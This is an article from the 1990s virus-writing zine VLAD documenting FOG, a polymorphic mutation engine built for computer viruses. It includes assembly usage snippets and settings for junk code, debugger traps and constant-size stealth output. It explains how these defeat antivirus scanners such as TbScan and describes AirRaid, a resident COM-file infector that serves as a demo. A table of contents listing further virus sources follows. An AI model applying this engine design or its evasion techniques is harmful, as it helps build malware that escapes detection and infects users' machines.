Virus Labs & Distribution
VLAD #5 - Fog.doc


		A polymorphic encryption algorithm

			   by Eclipse


	I have made this mutation engine for fun purposes only.
	It is made for use in viruses, but not as to promote any
	intentional harm or damage on computer systems.

	This engine is dedicated to those of you out there who find the
	concept of replicating programs fascinating. Trojan and
	destructive virus writers: Get a life.


	1.  Enter the statement "extrn fog:near, fog_init:near, rnd:near"
	into your code in your code segment. Its not really necessary to
	include the "rnd" part if you do not need a random number generator
	in your code. You might also find it handy to include the switch
	definition file ( in your code.

	Example (ideal mode):
		.model tiny
		.radix 16

		segment code word
		assume cs:code, ds:code, es:code, ss:code

		org 100h

		extrn fog:near, fog_init:near, rnd:near         ;here
		include ""                          ;and here

	or (MASM simplified mode):
		.model tiny
		.radix 16

		org 100h

		extrn fog:near, fog_init:near, rnd:near         ;here
		include                            ;and here

	or (MASM mode):
		.model tiny
		.radix 16

		code segment word
		assume cs:code, ds:code, es:code, ss:code

		org 100h

		extrn fog:near, fog_init:near, rnd:near         ;here
		include                            ;and here

	2.  Initialise fog. Do so by calling fog_init with the appropriate
	AH      :       Debugger hostility switches     (see below)
	AL      :       Junk generation switches        ( ---"--- )
	CL      :       General switches                ( ---"--- )

	CS:DX   :       Code to encrypt
	SI      :       Size of code to encrypt
	DI      :       Where in the decrypted code control should be passed.
			eg. if execution starts at the beginning of the code,
			DI = 0.

	Note that this initialization could be done only once, f.ex. at the
	installation of a TSR virus, and later only be called when there was
	need for updating the information, typically changing from COM to EXE
	mutation mode.

	On return from fog_init only one register will have changed;

	CX      =       Max size of decryptor and encrypted code. This
			will be the amount of bytes to stealth if you
			are making a stealth virus and have specified
			constant code size (sw_const_s) or if you want
			a tip of how much memory you gonna need for 
			encryption, otherwise ignore.


		mov  ah, sw_prefetch or sw_int3
		mov  al, sw_015_gi
			;or more efficiently:
			;mov  ax, (sw_prefetch or sw_int3) shl 8 or sw_015_gi
		mov  cl, sw_const_s
		mov  dx, cs:[myoffset]
		mov  si, sizeofvirus
		xor  di, di
		call fog_init

	3. Mutate by calling fog with the following parameters:

	ES      : Free segment. This is where the mutated code will be put.
		Must contain enough memory for the encrypted code
		and decryptor. When you define high junk generation, the
		decryptor can be rather ...errr... massive...

	BP      : Offset of code. Eg. if you write the mutated code to the
		end of a COM file, then BP should be set to filesize+100h.

		mov  bp, ax
		add  bp, 0100
		mov  ax, cs
		dec  ax, (bufferneeded+0fh)/10h
		mov  es, ax
		call fog
		mov  ah, 40     ;CX = number of bytes, DS:DX = buffer
		int  21

	4. Take note of the register values on return from the
	fog mutation algorithm:

	DS:DX = ES:0 = Buffer where decryptor and encrypted code will
		be found.

	CX    = Length of decryptor and encrypted code.

	All other registers are preserved.


	When calling fog you should make sure that you have an
	encryption buffer big enough to accomodate even the largest
	decryptors + your encrypted code. On its most demanding setting
	(sw_255_gi / sw_maxhostile) fog will require approximately 16k
	of memory. If you use fixed file size, the memory required can
	be even more massive. However, if you reduce the junk generation,
	fog will need much less memory.

	When you call fog_init, CX will return the maximum size (in bytes)

	Note: Take a look on what I do in AirRaid. I steal a temporary
	block of memory just to do the encryption, without allocating
	it. This will work nicely most of the time.


	Fog is written in TASM 3.0 (C) Borland Inc. and is designed
	to work with tasm and tasm-compatible assemblers.
	To use the fog object module in your code:

	tasm /m3 myvir.asm
	tlink (/t) myvir fog

	If you select to assemble fog down from the source, you should

	tasm /m3 fog.asm

	before linking the resultant object module into your code.

	The code size of FOG in its present condition is 55Bh (1371) bytes.
	If you modify the source, assemble with TASM /m3 /l and take a
	look on top of the lst file; there will be a constant named
	fogsize - this is FOG's effective length.


	Fog constructs its decryptor in a stepwise manner.
	The flow of execution when encrypting can be summarised like this:

	* Choose Initialization strategy
	* Choose Crypt strategy
	* Choose Base updating strategy
	* Choose Loopback strategy

	(Decryptor and encryptor are finished here !!!)

	* Add a jump to starting point in code, often this will be just a JMP 0.
	* Encrypt main code
	* If some alignment or static code size is chosen, pad the encrypted
	  code until it has the right size.
	* Set all registers according to the correct feedback values, and
	  return to caller.


	**** Init Strategy ****
	This is done by randomly choosing registers for key, base and count
	and generate MOV reg, imm16 instructions with the appropriate numbers.
	Junk (if selected) will be filled in between these instructions.

	**** Crypt strategy ****
	The standard crypto instruction will be of the type:
	( The / separates options that are used with equal probability )

	RND 1..15 * (XOR/SUB/ADD  CS:/DS:/ES:/SS: [BX/SI/DI]/[BX/SI/DI+disp16], imm16/reg)
	RND 0..7  * (ROL reg,1)

	The segment overrides DS:/ES:/SS: will of course only be created in
	COM file mode, in EXE mode only CS: will appear.

	So decryptors can look like this:

	XOR     SS:[SI+0490],FD81       + junk
	XOR     CS:[SI+0490],DX           "
	ADD     CS:[SI+0490],DX           "
	SUB     CS:[SI+0490],8755         "
	XOR     ES:[SI+0490],5886         "
	ADD     SS:[SI+0490],770B         "
	ADD     DS:[SI+0490],0322         "
	ROL     DX,1                      "
	ROL     DX,1                      "
	ROL     DX,1                      "

	or like this:

	XOR     SS:[BX],DX              + junk

	At the same time as the decryptor instructions are generated, the encryptor
	is inversely built in the encryptor buffer.
	As you will have noticed, the key is always word sized.

	**** Base updating strategy ****
	Base updating instructions can be of the type:
	ADD  reg, 2/-2
	SUB  reg, 2/-2
	DEC  reg
	DEC  reg
	INC  reg
	INC  reg

	**** Loopback strategy ****
	Loopbacks will look like this:

	LOOP ...


	DEC  reg
	JNZ  .....

	(The above will only be used if backwards jump is less than 128 bytes.)


	DEC  reg
	JZ   03
	JMP  ....


	DEC  reg
	JZ   05
	MOV  reg, offset ....
	PUSH reg

	There are many more ways to do this, of course, use your
	imagination and add some.


	* Cryptographic toughness
	FOG utilises a powerful mutation encryption algorithm, making
	the encryptors very variable indeed. Cryptanalysis is going to
	be hard on this one, as there is between 1 and 15 random
	xor/sub/add/rol operations with different keys on each element
	to be encrypted. With the change of just one constant in the
	enclosed source this number can be much increased.

	* Junk instruction generation
	The junk instructions, generically generated by FOG, includes
	instructions of 1, 2, 3, 4, 5 and even 2*7 bytes, and FOG can
	generate up to 255 such junk instructions between *each*
	good instruction. I've had test decryptors varying between
	20 bytes and 10k (!).

	* Configurable
	FOG is configurable in most aspects. Based on what you tell it, it
	will behave very differently from configuration to configuration.


	1.      mov     al, sw_nogarb
		call    fog_init

	This will cause FOG to generate short decryptors without any garbage
	or debugger hostile instructions at all. Turning off garbage also turns
	off debugger hostility, so any value in AH will be ignored. The
	encryption will however be just as strong as before, and the decryptor
	will still mutate.

	2.      mov     al, sw_007_gi
		mov     ah, sw_int3 or sw_prefetch
		call    fog_init

	This setting will cause FOG to generate between 1 and 7 junk
	instructions between each good one. Randomly interspersed in
	these junk instructions will be some debugger hostile instructions,
	in this case int 3's and prefetch traps. The int 3's are just
	bothersome when debugging, the prefetch traps will fool the unin-
	telligent debuggers and some of those programs who try to auto-
	matically decrypt the encrypted code; TbClean crashes spectacularly.

	3.      mov     al, sw_255_gi
		mov     ah, sw_debug
		call    fog_init

	This setting will cause FOG to generate medium to very big
	decryptors, as there will be between 1 and 255 garbage instructions
	between each good instruction. However, setting ah to sw_debug causes
	the garbage generated to not contain any debugger hostility at all,
	and *no encryption will be performed*.

	4.      mov     cl, (sw_r_garb or sw_r_host)
		call    fog_init

	This will tell FOG to ignore any settings of AH or AL, and randomly
	choose a setting for itself. Thus the setting may be one of extreme
	garbage generation and/or hostility or the opposite. Note that FOG
	will behave according to this until next time you call fog_init, and
	another random setting will be chosen. If used in a virus, his would
	have the effect that samples of one generation could be *totally*
	different from samples of another generation

	5.      mov     cl, sw_const_s
		call    fog_init

	This will cause FOG to generate decryptor+encrypted code of
	constant size each time you encrypt. This will be of use for
	stealth virus production. Fog manages this by padding all 
	encryptions up to the point where it's very unlikely that a 
	bigger decryptor will be created. Note that with high junk 
	configuration there often will be a nauseatingly huge pad area 
	at the end of files.

	6.      mov     cl, sw_align16
		call    fog_init

	Some people make viruses that need to be padded up to a paragraph
	border, for self recognition or other purposes. With this setting
	FOG will do that.

	7.      mov     cl, sw_align256
		call    fog_init

	Same as previous, but with 256 byte page borders.

	* Generic programming

	This engine is released with the commented original source code.
	It's of course possible to improve the engine, and it's relatively
	easy to do so around its current framework. For instance is the garbage
	generation modular, by adding another module and updating the jump
	addresses FOG will spew out the new instructions just as easy and
	randomly as those included in the source. You may also note the
	vacant switches, where you may add more configurable options.
	One of FOG's strongest points is just this; by releasing the source
	it will mutate not just decryptors, but with time also it's own


	* Decryptor obviousness

	Decryptors generated with this engine do not have any mechanisms to
	hide that they are decryptors (except junk). They do not generate
	any codesequence to fool scanners into believing that this is a
	legitimate program. Thus, heuristic scanners may smell a rat,
	especially TbScan when FOG uses low junk/hostility settings.
	TbScan detects the presence of a decryptor and sometimes succeed
	to decrypt the encrypted program. On high junk/hostility settings,
	however, TbScan mostly chokes and dies. The prefetch traps generate 
	much noise, in the sense that they mess with memory and cause TbScan 
	to whip out @, 1, D and U flags galore. On rare occasions they also
	cause the program to terminate or even hang. I have included jmp
	instructions in the standard set of functions from FOG, however
	these sometimes generate TbScan @ and J flags.

	* Scanning vulnerability

	When high debugger hostility is chosen, FOG generates fixed
	codesequences that might be scanned for, particularly the
	prefetch traps. This might be something to have in mind.

	* Huuuuuuge decryptors

	As mentioned before, with high garbage settings FOG may generate
	very large decryptors indeed. This may cause not only a considerable
	file growth, but also a noticeable timelag upon decrypting.

	* Statistical analysis vulnerability

	There is a chance that FOG will be vulnerable to statistical analysis.
	I have not performed any statistical computations on FOG's decryptors
	myself, but I think this might be done. However, scanners will have
	a hard time detecting *all* FOG encrypted viruses, due to FOG's


	Enclosed you will find the source and executables of different
	versions of AirRaid, which is the demo virus for this engine.

	AirRaid is a non-destructive resident *.com infector, made
	specifically for this purpose. Its lameness is also by intent.
	It will infect any *.com file (of proper size) executed. Infection
	marker is 'AR' at byte 4 and 5 in the file.

	The different versions are made to demonstrate the easy way you
	can configure the virus to do what you want.

	Ver 1. Plain virus, Fog not attached.
	Ver 2. Fog attached, configured to no garbage.
	Ver 3. Fog attached, configured to 15 garbage instructions,
	       max hostility, fixed length
	Ver 4. Fog attached, configured to random garbage, random hostility.

	SWITCHES (as defined in the file):

			       AH              AL
   Debugger hostility   F E D C B A 9 8  7 6 5 4 3 2 1 0     Junk generation
   Unused 컴컴컴컴컴컴컴                   1 junk instruction
   Unused 컴컴컴컴컴컴컴컴              읕   3 junk instructions
   Unused 컴컴컴컴컴컴컴컴컴            읕컴   7 junk instructions
   Use dos interrupts 컴컴컴컴          읕컴컴  15 junk instructions
   Unused 컴컴컴컴컴컴컴컴컴컴컴        읕컴컴컴  31 junk instructions
   Prefetch traps 컴컴컴컴컴컴컴컴      읕컴컴컴컴  63 junk instructions
   Unused 컴컴컴컴컴컴컴컴컴컴컴컴컴    읕컴컴컴컴컴 127 junk instructions
   Int 3 generation 컴컴컴컴컴컴컴컴컴  읕컴컴컴컴컴컴 255 junk instructions

			       CH              CL
   Internal switches    F E D C B A 9 8  7 6 5 4 3 2 1 0   General switches
   Unused 컴컴컴컴컴컴컴                   random junk
   Unused 컴컴컴컴컴컴컴컴              읕   random hostility
   Unused 컴컴컴컴컴컴컴컴컴            읕컴   exe file
   Unused 컴컴컴컴컴컴컴컴컴컴          읕컴컴   constant size
   Unused 컴컴컴컴컴컴컴컴컴컴컴        읕컴컴컴   256 byte alignment
   Down decryptor 컴컴컴컴컴컴컴컴      읕컴컴컴컴   16  byte alignment
   Use displacement 컴컴컴컴컴컴컴컴    읕컴컴컴컴컴   Unused
   No jumps allowed 컴컴컴컴컴컴컴컴컴  읕컴컴컴컴컴컴   Unused

	That's all for now. Take a look at the enclosed demo virus, AirRaid,
	to see how FOG can be used.


	I am a tertiary student from Australia's Sunshine State of
	Queensland.  My interests include Rugby League, Cricket and
	low-level programming.  Normally concentrating on visual and
	audio demonstrations, I turned my hand to polymorphism due to
	the unique challenge of that type of coding.  I will only
	continue to pursue my virus programming career while the field
	remains interesting.


	You can only contact me via my friend Qark, who is has internet
	access unlike myself.

Included in the original package there should be 12 files:

	 FOG     .ASM          Fog source code
	 FOG     .DOC          This file
	 FOG     .OBJ          Fog object module
	 SWITCHES.INC          Switch definition include file

	 AIRRAID1.ASM          AirRaid ver. 1 source
	 AIRRAID2.ASM          AirRaid ver. 2 source
	 AIRRAID3.ASM          AirRaid ver. 3 source
	 AIRRAID4.ASM          AirRaid ver. 4 source

	 AIRRV1.ZIP            AirRaid ver. 1 samples
	 AIRRV2.ZIP            AirRaid ver. 2 samples
	 AIRRV3.ZIP            AirRaid ver. 3 samples
	 AIRRV4.ZIP            AirRaid ver. 4 samples

Any other file is not acknowledged by me.

Queensland, Australia, June 1995.



ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag


ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly


Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source


Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus


ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main